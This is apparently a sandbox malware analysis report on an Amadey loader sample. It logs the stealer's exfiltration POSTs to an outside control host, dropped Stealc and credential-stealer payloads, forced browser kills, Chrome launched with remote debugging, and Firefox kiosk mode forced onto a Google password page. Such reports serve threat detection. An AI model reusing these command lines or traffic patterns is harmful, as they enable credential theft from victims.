cfL4;desc="?proto=TCP&rtt=24532&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15999&delivery_rate=118088&cwnd=32&unsent_bytes=0&cid=d1a5d0301cfe1a69&ts=724&x=0"
2024-11-18 18:05:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:05:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	50109	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:32 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IZFUDRGYJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20519 Host: cook-rain.sbs
2024-11-18 18:05:32 UTC	15331	OUT	Data Raw: 2d 2d 49 5a 46 55 44 52 47 59 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 49 5a 46 55 44 52 47 59 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 5a 46 55 44 52 47 59 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 5a 46 55 44 52 47 59 4a 0d 0a 43 6f 6e 74 65 6e Data Ascii: --IZFUDRGYJContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--IZFUDRGYJContent-Disposition: form-data; name="pid"3--IZFUDRGYJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IZFUDRGYJConten
2024-11-18 18:05:32 UTC	5188	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i

Target ID:	0
Start time:	13:02:57
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xac0000
File size:	1'916'928 bytes
MD5 hash:	22EE1495AD3FD1A2A7F4E210E6932916
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2057255446.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2099703092.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:02:59
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xe80000
File size:	1'916'928 bytes
MD5 hash:	22EE1495AD3FD1A2A7F4E210E6932916
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2124985182.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2083805317.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:03:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe80000
File size:	1'916'928 bytes
MD5 hash:	22EE1495AD3FD1A2A7F4E210E6932916
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2129686314.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2087115717.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:04:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe80000
File size:	1'916'928 bytes
MD5 hash:	22EE1495AD3FD1A2A7F4E210E6932916
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2686166030.0000000005690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:04:14
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe"
Imagebase:	0x300000
File size:	4'362'752 bytes
MD5 hash:	632C9FF09B97E8002CB53634BDFA2494
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:04:23
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe"
Imagebase:	0xbb0000
File size:	1'850'880 bytes
MD5 hash:	B7C3ABF55D5E1333F94076A0A9002430
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2973104659.00000000017D4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2972431197.0000000001774000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2972497685.00000000017D4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2991298066.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3011062544.0000000001777000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2991245775.0000000001776000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2989979578.00000000017CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:04:33
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe"
Imagebase:	0xde0000
File size:	1'799'168 bytes
MD5 hash:	AD398EDCE35BD091CF4D289D7BA7D86D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3409739852.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.3024295095.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:04:39
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe"
Imagebase:	0xbb0000
File size:	1'850'880 bytes
MD5 hash:	B7C3ABF55D5E1333F94076A0A9002430
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3144560699.0000000001415000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3163062280.0000000001415000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3199096134.0000000001415000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3170943113.0000000001416000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:04:41
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe"
Imagebase:	0x470000
File size:	922'624 bytes
MD5 hash:	6F6AAAB9F33C162B36534ECC965FED7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000B.00000003.3178957327.000000000101F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:04:41
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:04:41
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:04:43
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:04:43
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:04:44
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:04:44
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2072,i,121211281076479918,13658437457281911458,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:04:45
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:04:45
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:04:45
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:04:45
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:04:46
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:04:46
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:04:46
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:04:47
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:04:47
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:04:47
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2196 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2124 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54f0d578-7687-4d9a-a389-223f0b364265} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d15de6f310 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:04:48
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe"
Imagebase:	0xde0000
File size:	1'799'168 bytes
MD5 hash:	AD398EDCE35BD091CF4D289D7BA7D86D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.3186567211.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3414326186.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:04:51
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4492 -parentBuildID 20230927232528 -prefsHandle 4480 -prefMapHandle 3868 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f45843-65c2-451a-8a05-3d08bc417555} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d1703def10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:04:52
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe"
Imagebase:	0x320000
File size:	2'772'992 bytes
MD5 hash:	FFFCB8FB5E1456CBC71DD2B92B2946E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	13:04:54
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1568
Imagebase:	0x6c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	13:04:57
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe"
Imagebase:	0x470000
File size:	922'624 bytes
MD5 hash:	6F6AAAB9F33C162B36534ECC965FED7F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000024.00000002.3415548136.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	13:04:58
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:04:58
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04EF0C0A Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2103402562.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ff0698bee1863977fe1657497d97192b5275b9901b92954376dab473ff6cb3
Instruction ID: 8388c0808f344cf9428a9303711da05bebec12471aae39447e77d1ef0e08d3e6
Opcode Fuzzy Hash: 00ff0698bee1863977fe1657497d97192b5275b9901b92954376dab473ff6cb3
Instruction Fuzzy Hash: 5F01DBEA34E215FEE04301451F446F5691FA3D637033060A67B0B95A43B2D57B953071

Function 04EF0D6B Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2103402562.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690d71ffc7aa7b236d473fbbb6cbf1451bab4e8dc2c9a7a98d86cccac27ae530
Instruction ID: 3694ac6e2a74daaf39bf121297f56a9b98c1ccf914d93ecff5502dcf4d14c737
Opcode Fuzzy Hash: 690d71ffc7aa7b236d473fbbb6cbf1451bab4e8dc2c9a7a98d86cccac27ae530
Instruction Fuzzy Hash: 1A115CE770C1257EA60295503F619F76BADD2C5770331982AF986C6803E2496A4B6170

Function 04EF0DB2 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2103402562.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0754167ea311c818571e4a02127916538cb0ed456ae68140df1e32d125359f5
Instruction ID: a528363b9dc85012db59b69f6817221bc93e836edb23039360d0f37dcd9580be
Opcode Fuzzy Hash: b0754167ea311c818571e4a02127916538cb0ed456ae68140df1e32d125359f5
Instruction Fuzzy Hash: 85F05973A0C2265FE315A5B51B126FBBBA5AAD1330331847BF482C7843E346454AA170

Function 04EF0DD8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2103402562.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f928a37872b31d09af52c86732a4d53897a7e0b4b9a1e37f0afa7fb453c50a
Instruction ID: 419f7f172f87cea239433c0899115afe7ff4c116dcc2d33e5676e642fe3b31b0
Opcode Fuzzy Hash: 33f928a37872b31d09af52c86732a4d53897a7e0b4b9a1e37f0afa7fb453c50a
Instruction Fuzzy Hash: 61E0C073B4C2345E9712A6F52B356BDBF94D7D63303308877F481CB443E285450592B0

Analysis Process: skotes.exePID: 7628, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	105
Total number of Limit Nodes:	17

Executed Functions

Function 00E8E530 Relevance: 35.9, APIs: 1, Strings: 18, Instructions: 2667COMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

std::_Xinvalid_argument.LIBCPMT ref: 00E908B5

Strings

L1, xrefs: 00E8F7E5
GiQaT29tduF=, xrefs: 00E8FEB6
WDw=, xrefs: 00E8F71D, 00E8F9FA, 00E8FDE3
MQ==, xrefs: 00E8E592
GnNoc2Hc, xrefs: 00E8E56C
stoi argument out of range, xrefs: 00E908C4
